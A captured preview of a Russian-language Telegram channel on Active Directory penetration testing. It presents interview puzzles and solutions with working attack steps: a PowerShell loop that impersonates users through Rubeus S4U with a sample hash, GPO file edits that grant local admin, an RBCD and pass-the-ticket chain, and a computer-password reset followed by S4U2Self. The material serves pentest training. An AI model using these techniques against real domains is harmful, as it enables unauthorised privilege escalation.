TGViewer
Channel Public Channel
CyberSecrets

CyberSecrets

@cyb3r53cr3t5

Канал о наступательной безопасности, Assumed Breach, Red Team, Purple Team
Subscribers
3.14K
Photos
30
Videos
4
Links
124
Recent Posts 19 shown
Post #255 1.21K
Злоупотребление ACL: Права на добавление дочерних объектов в OU
 
Право `CreateChild` (создание дочерних объектов) в рамках пентеста Active Directory представляет собой интересный вектор для закрепления и эскалации привилегий. Пентестер, получивший возможность создавать пользователей, компьютеры на целевой OU, может легитимно создать учетную запись для закрепления или использовать созданный компьютер для атак типа RBCD. Особый интерес представляет тот факт, что создатель объекта автоматически становится его владельцем, что по умолчанию даёт ему право изменять DACL. О том как находить и использовать права CreateChild на OU читайте в статье.
Teletype Права на добавление дочерних объектов в OU Права CreateChild на OU позволяют создавать объекты в этой OU и в зависимости от настроек наследования в других дочерних OU. С правами...
  • ❤ 5
  • 🔥 4
  • 👍 3
Post #254 2.25K
Маркировка путей компрометации в BloodHound

Как наглядно показать заказчику реальную цепочку атаки в Active Directory, а не просто абстрактное описание атаки? В новой статье рассказываю, как добавить в BloodHound свойство is_killchain для маркировки путей компрометации. С помощью пары простых Cypher запросов вы сможете выделить ключевые шаги пентеста и включить в отчет в виде понятной визуализации.

#BloodHound #Внутрянка #Cypher
Teletype Маркировка путей компрометации в BloodHound При проведении пентеста Active Directory мы часто сталкиваемся с задачей наглядно показать заказчику, какие именно цепочки атаки...
  • 👍 7
  • 🔥 4
  • ❤ 2
Post #252 3.34K
Задача для собеседования №7

Недавно в одном чате меня спросили "когда будет новая задачка?". Я ответил, что когда придет время.

И вот это время пришло! Представляю новую задачку.

Приятного решения 😉

#Внутрянка #Задачи
Teletype Задача для собеседования #7 Задача с несколькими входящими данными, на мой взгляд достаточно интересная.
  • ❤ 1
  • 👍 1
  • 🔥 1
Post #251 2.5K
Tag_Tier_Zero и не только

Написал небольшую заметку на тему новых меток в BloodHound CE и как можно расширить назначение меток.

#BloodHound #Внутрянка #Cypher
  • 🔥 4
  • 👍 2
  • ❤ 1
Post #250 2.93K
Фильтрация локальных групп в BloodHound

Ранее я публиковал статью про проходимые и не проходимые связи и как и фильтровать. Однако некоторые непроходимые связи из списка при определенных условиях могут стать проходимыми. Речь идет о членстве в локальных группах.

Я написал заметку про то как добавить и как фильтровать локальные группы, чтобы они приносили порядок вместо хаоса.
Teletype Фильтрация локальных групп в BloodHound В статье мы определили, что есть проходимые и непроходимые связи. Ребра локальных групп LocalToComputer и MemberOfLocalGroup являются...
  • 🔥 5
  • 🤝 5
  • 👍 1
Post #249 3.11K
Создание локальных боксов Vagrant для GOAD

Написал заметку по созданию локальных боксов Vagrant. Возможно будет полезна для тех кто испытывает затруднения с выкачиванием образов из Интернета.

Приятного чтения!
Teletype Создаем локальные боксы Vagrant для GOAD Я много слышал про GOAD, но никогда не разворачивал. И вот я решил посмотреть, что это такое в живую. Однако существует проблема...
  • 🔥 10
  • ❤ 1
  • 👍 1
Post #248 2.72K
Решение задачи №6
Что-то я затянул с постом, но уверен, что большинство уже справилось с задачей.

Можете сравнить свои варианты с моим решением.

До новых встреч! =)
Teletype Решение задачки #6 Итак, у нас есть доменная учетная запись PENTESTER, с помощью которой мы можем обращаться к контроллеру домена. Есть сервисная учетная...
  • ❤ 3
  • 👍 1
Post #246 3.24K
Всем привет!
Доступ к Телеграм работает крайне нестабильно и после продолжительных размышлений я решил продолжить вести блог в телетайп. По возможности в телеграм-канал буду писать ссылки на новые публикации.

Итак, читайте мою первую статью на новой площадке.
Teletype Проходимые и непроходимые связи в BloodHound Специалисты, которые самостоятельно пишут Cypher запросы для коротких путей, знают, что в некоторых случаях neo4j выдает не те графы...
  • 😢 12
  • ❤‍🔥 8
  • 🔥 6
  • ❤ 2
  • 👎 2
  • 💩 2
Post #245 3.68K
Задача для собеседования №5*

Усложним предыдущий сценарий.

Сценарий
В ходе выполнения работ было обнаружено что рабочая группа EVERYONE имеет права на изменение атрибута msDS-AllowedToActOnBehalfOfOtherIdentity на сервере TERM. Так же на сервере TERM потенциально есть сессия HD-ADMIN, которая является членом группы ACCOUNT OPERATORS. В ходе получения дополнительной информации установлено, что все члены группы DOMAIN ADMINS являются членами группы PROTECTED USERS. Учетная запись HD-ADMIN не является членом группы локальных администраторов на TERM, но какая-то учетная запись или даже группа входит в группу локальных администраторов, и которые можно использовать для делегирования.

Дополнительные условия

- На всех хостах в сети установлены последние обновления.
- Есть возможность создавать объекты компьютер.
- Доменная учетная запись Administrator отключена.
- Уровень домена – 2016.

Цель

- Получить привилегии группы ACCOUNT OPERATORS.

Решение
Решение тут понятно нужно найти учетную запись, у которой есть привилегии локального администратора на хосте TERM. Не редко администраторы добавляют членов в локальные администраторы через SCCM или вручную. В таких случаях BloodHound, который собирает членство в локальных группах в GPO и старых операционных системах, не покажет такую информацию.

В лаборатории на 10 пользователей можно руками проверить несколько учетных записей, но что делать, когда учеток 100 или 1000? Требуется автоматизация.

Я написал небольшой powershell скрипт, который в цикле будет подставлять учетные записи пользователей из списка, которые не входят в группу PROTECTED USERS и у них не установлен флаг «учетная запись не может быть делегирована», в процесс запроса TGS билетов Kerberos.

Подготовим список с помощью Cypher запроса:

MATCH p=(n:User)-[MemberOf]->(g:Group) WHERE g.name STARTS WITH 'PROTECTED USERS' WITH COLLECT(n.name) AS EXCLUDE
MATCH (u:User) WHERE u.enabled = TRUE AND u.sensitive = FALSE AND NOT u.name IN EXCLUDE
RETURN u.samaccountname


Сам скрипт написан на PowerShell и использует Rubeus. Логика простая: передаем значения для s4u и проверяем права локального администратора. Выход из цикла при первом успешном выполнении invoke-Command. Весь вывод от Rubeus перенаправляем в файл с помощью ключа /consoleoutfile это избавит нас от лишней информации в консоли.

function Check-ImpersonateUser {
[CmdletBinding()] Param(

[Parameter (Mandatory=$False, Position = 0)]
[String]$Targets,

[Parameter (Mandatory=$False, Position = 1)]
[String]$UserName,

[Parameter (Mandatory=$False, Position = 2)]
[String]$Hash,

[Parameter (Mandatory=$False, Position = 3)]
[String]$ComputerName

)
$users = Get-Content $Targets

foreach($user in $users)
{
.\Rubeus.exe purge /consoleoutfile:console.txt
.\Rubeus.exe s4u /impersonateuser:$User /msdsspn:CIFS/$ComputerName /altservice:http,host,cifs /user:$Username /rc4:$hash /ptt /consoleoutfile:console.txt

try{
$checker = Invoke-Command -ComputerName $ComputerName -Command {whoami} -ErrorAction SilentlyContinue
if($checker)
{
Write-Host "User $User has admin privilege on $ComputerName"
# До первого успешной выполненной команды
break
}
}
catch{
continue
}
}
}


PSRemoting может быть отключен, в этом случае можно использовать другой вариант, например, Get-ChildItem -Path '\\$ComputerName \c$' или Get-Process -ComputerName $ComputerName.


Пример запуска

Check-ImpersonateUser -Targets .\targets.txt -UserName ws-234$ -Hash 4662D8961EF42728366BC2AE7FD0B38F -ComputerName term


В реальной инфраструктуре есть вероятность, что этот метод не даст результатов.

Совет:
Запускать скрипт лучше всего в отдельном контексте запущенный через runas.exe /netonly.

#Внутрянка #Задачи
  • 👍 11
  • ❤ 3
  • 🔥 2
  • 👎 1
  • 💩 1
Post #244 2.52K
Как я и говорил ранее задача очень простая. Вариант решения задачи №5 представлен ниже.

Решение:
У нас есть возможность настроить ограниченное делегирование на основе ресурсов (RBCD). По условию задачи мы не можем использовать учетные записи администраторов домена, так как они входят в группу PROTECTED USERS . Есть компьютер TEST, который является членом группы локальных администраторов на TERM. Но на сетевом уровне он нам не доступен. Атака с принудительной аутентификацией и NTLM Relay отпадает. Поэтому мы будем эксплуатировать RBCD.

Создаем объект компьютер и прописываем его SID в атрибут msDS-AllowedToActOnBehalfOfOtherIdentity объекта TERM. В качестве олицетворяемого пользователя используем test$. Будем запрашивать сервисные билеты Kerberos для служб HTTP, CIFS и HOST.

После успешного импорта билетов проверим, что есть доступ на хост и сессия HD-ADMIN еще живая.

qwinsta.exe /server:term


Теперь нам нужно получить билеты, но вместо того, чтобы копировать утилиту для сбора билетов Kerberos на хост будем использовать PowerShell скрипт dumper.ps1 в командлете Invoke-Command:


$scriptPath = '.\dumper.ps1'
Invoke-Command -ComputerName term -FilePath $scriptPath


Теперь ищем TGT билет для пользователя HD-ADMIN и выполняем технику Pass-the-Ticket.

#Внутрянка #Задачи
  • 👍 10
  • ❤ 3
  • 🔥 1
Post #242 2.81K
Задача для собеседования №5

Очень простая задачка, на базовое понимания техник и их ограничений.

Сценарий:
В ходе выполнения работ было обнаружено что рабочая группа EVERYONE имеет права на изменение атрибута msDS-AllowedToActOnBehalfOfOtherIdentity на сервере TERM. Так же было установлено, что группа DOMAIN USERS имеет права на получение доступа на сервер TERM по протоколу RDP. Из реестра была получена информация о возможной сессии пользователя HD-ADMIN.

После получения доступна на сервер TERM по протоколу RDP, была подтверждена активная сессия учетной записи HD-ADMIN, которая является ACCOUNT OPERATORS. Также была получена информация, что в группу локальных администраторов входит группа DOMAIN ADMINS и учетная запись компьютера TEST. В ходе получения дополнительной информации специалист установил, что хост TEST не доступен на сетевом уровне, а все члены группы DOMAIN ADMINS являются членами группы PROTECTED USERS .

Дополнительные условия
- На всех хостах в сети установлены последние обновления.
- Есть возможность создавать объекты компьютер.
- Уровень домена – 2016.

Цель
- Получить привилегии группы ACCOUNT OPERATORS.

Так как задача простая решение будет опубликовано завтра.

#Внутрянка #Задачи
  • 👍 6
  • 🔥 3
Post #241 3.66K
Поиск доступа по RDP на терминальные сервера

Терминальные сервера могут предоставлять доступ в другие сегменты сети, которые не доступны из пользовательской сети, на терминальных серверах можно обнаружить интересные файлы и скрипты, на серверах чаще всего антивирус настроен менее жестко и можно найти исключения для запуска приложений. Даже если на терминальном сервере не удалось повысить привилегии он может стать плацдармом для дальнейшего выполнения проекта.

Можно посмотреть в Bloodhound связь CanRDP, которая устанавливается из групповых политик, но доступы могут предоставляться через другие механизмы управления, например, SCCM или вручную. Для проверки доступа по протоколу RDP обычно используются средства для перебора паролей типа hydra или собственные разработки. Но есть другой способ.

Члены группы удаленных столов могут удаленно выполнять команду qwinsta.exe на сервере, например, qwinsta.exe /server:term.domain.local. Эта возможность связана с работой службы терминалов через вызов процедур. Для аутентификации используется Kerberos.

В PowerView есть функция Get-NetRDPSessions (аналог qwinsta), которая позволяет получить список сессий на удаленном хосте:

Get-DomainComputer -LDAPFilter "(operatingsystem=*Windows Server*)(!userAccountControl:1.2.840.113556.1.4.803:=2)" |Get-NetRDPSession|ft -AutoSize


Если нам нужно получить только список уникальных компьютеров обработку вывода можно изменить на

Get-DomainComputer -LDAPFilter "(operatingsystem=*Windows Server*)(!userAccountControl:1.2.840.113556.1.4.803:=2)" |Get-NetRDPSession|Select-Object ComputerName -Unique


Если нет возможности запустить PowerView, то можно использовать команду qwinsta в цикле по всем серверам.

Создадим скрипт, который выберет из домена все активные компьютеры с операционной системой Windows Server. И затем выполним команду qwinsta /server:$ComputerName. Так как в первую очередь нас интересует только доступ, то мы не будем разбирать вывод самой команды.

function Invoke-CheckRDPAccess {

$searcher = [adsisearcher]'(&(objectCategory=computer)(operatingsystem=*Windows Server*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))'
$searcher.PageSize = 1000
$comps=$searcher.FindAll()

foreach ($comp in $comps)
{
$ComputerName = $comp.Properties["name"][0].ToLower()
$ComputerName

if (Test-Connection -ComputerName $ComputerName -Count 1 -Quiet)
{
# Запускаем qwinsta
$processInfo = New-Object System.Diagnostics.ProcessStartInfo
$processInfo.FileName = "qwinsta.exe"
$processInfo.Arguments = "/server:$ComputerName"
$processInfo.RedirectStandardOutput = $true
$processInfo.RedirectStandardError = $true
$processInfo.UseShellExecute = $false
$processInfo.CreateNoWindow = $true

$process = New-Object System.Diagnostics.Process
$process.StartInfo = $processInfo
$process.Start() | Out-Null
$output = $process.StandardOutput.ReadToEnd()
$errorOutput = $process.StandardError.ReadToEnd()
$process.WaitForExit()

if($process.ExitCode -eq 0 -and $output)
{
Write-Host -ForegroundColor Green "You have RDP access to $ComputerName"
# Если нужно получить список сессий раскомментировать следующую строку
# $output
}
}
}
}


Стоит помнить, что администраторы могут настроить доступ к терминальному серверу только по порту 3389, все остальные порты будут не доступны и в этом случае описанный выше метод не сработает.

#Внутрянка #ActiveDirectory
  • 👍 11
  • ❤ 3
  • 🔥 3
Post #240 2.69K
Думаю, уже многие догадались как решить задачу №4. Вариант решения представлен ниже.

Решение:
Так как по условию задачи у нас есть доменная учетная запись и она по умолчанию является членом группы доменных пользователей, то переходим в директорию \\domain.local\sysvol\domain.local\policies\{dc9e5612-a27f-46cc-b919-bf59e69a0b9d}\Machine\Microsoft\Windows NT\SecEdit и открываем файл GptTmpl.inf на редактирование.

Перед блоком Registry Values добавляем блок Group Membership куда записываем нашего пользователя в группу локальных администраторов.

[Group Membership]
*S-1-5-32-544__Memberof =
*S-1-5-32-544__Members = *S-1-5-21-1492282568-2445483297-2048453757-512,* S-1-5-21-1492282568-2445483297-2048453757-1105


Так как после применения групповой политики все члены группы локальных администраторов удалятся кроме пользователя Administrator, то для подстраховки мы добавим группу доменных администраторов, если известны другие пользователи и группы, которые входят в эту группу, стоит их добавить чтобы не нарушать работу организации.

Сохраняем файл и возвращаемся в корневую директорию групповой политики \\domain.local\sysvol\domain.local\policies\{dc9e5612-a27f-46cc-b919-bf59e69a0b9d}\, где находим файл GPT.INI и увеличиваем значение Version на четыре.

Теперь подождем пока групповая политики применится к хостам (примерно 90 минут). Получив привилегии локального администратора на хосте IVANOV можно подключиться к машине с помощью PSRemoting и собрать билеты Kerberos для учетной записи ADM_IVANOV, который является членом группы доменных администраторов.

После получения привилегий локального администратора и выполнения нужных действий необходимо удалить блок Group Membership и в файле GPT.INI увеличить значение Version на четыре. После применения политики все члены группы локальных администраторов вернутся в состояние до применения политики.

В этом сценарии стоит учитывать, что могут быть другие групповые политики, которые устанавливают членство в локальных группах и поэтому наши изменения могут обнуляться другими политиками в зависимости от иерархии. В этом случае нужно искать другой путь эксплуатации прав на запись в директорию групповой политики.

#Внутрянка #Задачи
  • 🔥 11
  • ❤ 4
  • 👍 3
Post #239 3.74K
Задача для собеседования №4

Праздники закончились и теперь можно немного размять мозги. Ниже представлен сценарий, который может встретиться в реальных проектах.

Сценарий
После сбора информации было обнаружено, что группа доменных пользователей имеет привилегии на запись в директорию групповой политики SMB SIGNING, сама политика устанавливает smb подпись на всех хостах принадлежащие OU WORKSTATION. В OU входит рабочая станция администратора I.IVANOV.

Дополнительные условия
- Есть доменная учетная запись пользователя.
- На всех хостах в сети установлены последние обновления.
- На директорию групповой политики установлено наследование.

Цель
- Получить привилегии доменного администратора.

Решение будет опубликовано через пару дней.

#Внутрянка #Задачи
  • 🔥 8
  • 👍 4
  • 🤝 3
  • 👏 2
  • ❤ 1
  • 😎 1
Post #238 2.65K
Уважаемые коллеги по цеху!

Уходящий год мы провели в разборе простых техник и сложных цепочек атак, изучая, казалось бы, неприступные системы. Но именно этот поиск уязвимостей и формирует ту самую целостную картину мира информационной и наступательной безопасности, где каждая уязвимость или недостаток — это часть большого пазла.

Пусть 2026 год станет временем новых техник и интересных вызовов, когда ваши собственные наработки, скрипт, утилита или исследование получат признание, найдут применение и принесут вам не только удовлетворение, но и новые возможности.
Желаю, чтобы время, инвестированное в личные эксперименты, окупалось стократ, давая вам свободу творчества, которого порой так не хватает в рамках типовых задач.

Здоровья и ярких открытий во всех направлениях!
  • ❤ 19
  • 👍 7
  • 🎉 4
  • 🤡 1
  • 🎄 1
Post #237 5.41K
Права на сброс пароля компьютеру

Неделю назад в чате RedTeam Brazzers один из участников задал вопрос, если есть права на сброс пароля для объекта компьютер, то единственный вектор эксплуатации только при условии, что компьютер имеет какие-то привилегии на другие объекты. Я предположил, что можно попробовать выписывать TGT билеты до того момента как администраторы вернут машине доверие в домене (сбросят пароль через сам компьютер), дальше использовать этот TGT билет Kerberos (пока он валидный) для получения доступа на хост через S4U2Self. Мне ответили, что пройти аутентификацию уже будет невозможно.

Сначала я согласился с этим ответом, но сама мысль не давала мне покоя. Я решил проверить свою гипотезу в лаборатории. В результате записал демо, в котором видно, что после восстановления доверия между компьютером (пароль меняется) все еще можно выполнять технику S4U2Self со «старым» TGT билетом Kerberos.

Последовательность команд
$object = [ADSI]"LDAP://CN=WS-238,CN=Computers,DC=domain,DC=local"
$object.Invoke("SetPassword", "Qwerty123")
$object.CommitChanges()

.\Rubeus.exe asktgt /user:ws-238$ /password:Qwerty123 /domain:domain.local /dc:dc01.domain.local /outfile:ws-238.kirbi

# Ждем, когда администраторы восстановят доверие между доменом и компьютером
# Test-ComputerSecureChannel -Repair -Credential (Get-Credential)

.\Rubeus.exe purge # можно использовать runas.exe /netonly
.\Rubeus.exe s4u /impersonateuser:admin /self /altservice:http/ws-238 /user:ws-238$ /domain:domain.local /dc:dc01.domain.local /ptt /ticket:ws-238.kirbi

Enter-PSSession ws-238


По умолчанию срок жизни TGT билета Kerberos 10 часов для обычных учетных записей и 4 часа для входящих в группу Protected Users. Но компьютеры не будут входить в эту группу.

Данная вектор нарушает работу хоста и должен выполняться по согласованию с заказчиком.

UDATE
Ключ машины сбрасывается под администратором домена или учетной записью, которой разрешено вводить компьютеры в домен, так как время жизни «старого» TGT билета Kerberos еще не истекло, но TGS билеты уже будут шифроваться на новом ключе, поэтому вектор отрабатывает.

#Внутрянка #ActiveDirectory
  • 🔥 21
  • ❤ 8
  • 🤝 3
  • 👍 1
  • 🥱 1
Post #235 3.21K
Obsidian: за гранью заметок. Генератор чек-листа

Завершаю цикл статей по использованию Obsidian для ведения проекта по пентесту. Речь пойдет про генерацию задач для чек-листа из BloodHound.

Чтобы руками не выполнять различные запросы для поиска недостатков в инфраструктуре на базе Active Directory я написал небольшой скрипт Invoke-CheckListGenerator, который преобразует результаты Cypher запросов из BloodHound в структурированные задачи для чек-листа Obsidian, позволяя автоматизировать процесс аудита безопасности Active Directory и отслеживать прогресс исправления уязвимостей.

В репозитории есть два JSON файла queries.json и ownedqueries.json, которые содержат Cypher запросы, описание и мета данные для формирования результата. В первом файле находятся общие проверки, а во втором почти то же самое, но пути строятся от имени скомпрометированных узлов (n.owned=TRUE).

Скрипт считывает данные из JSON файла, затем подключается к базе данных Neo4j и выполняет серию проверок безопасности через запросы Cypher. В результате формирует два файла в формате markdown для Obsidian. Первый файл — это задачи для чек-листа, а второй заметки в формате, описанный ранее. Кроме результатов Cypher запросов заметка будет содержать сам Cypher запрос, для проверки или уточнения каких кто-то моментов.

Если результат проверки отсутствует, то задача помечается как выполненная со статусом "Провал". Если проверка является самостоятельной SelfCheck = True и у нее есть результат она помечается как выполненная со статусом успех. SelfCheck - проверки результаты, которых могут быть использованы в других векторах.

Ссылка на GitHub.

#Внутрянка #Организация
  • 🔥 9
  • 👍 4
  • ❤ 3
  • 🤡 1
Older posts →

About this channel

How can I read @cyb3r53cr3t5 without a Telegram account?
TGViewer shows the public web preview Telegram publishes for CyberSecrets: recent posts, photos, videos and the subscriber count, with no app, login or account.
How many subscribers does CyberSecrets have?
CyberSecrets (@cyb3r53cr3t5) has 3.14K subscribers on Telegram, refreshed roughly every 30 minutes.
Does CyberSecrets know I viewed it here?
No. Public channel previews carry no viewer identity, and TGViewer has no accounts or tracking of what you look up.
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →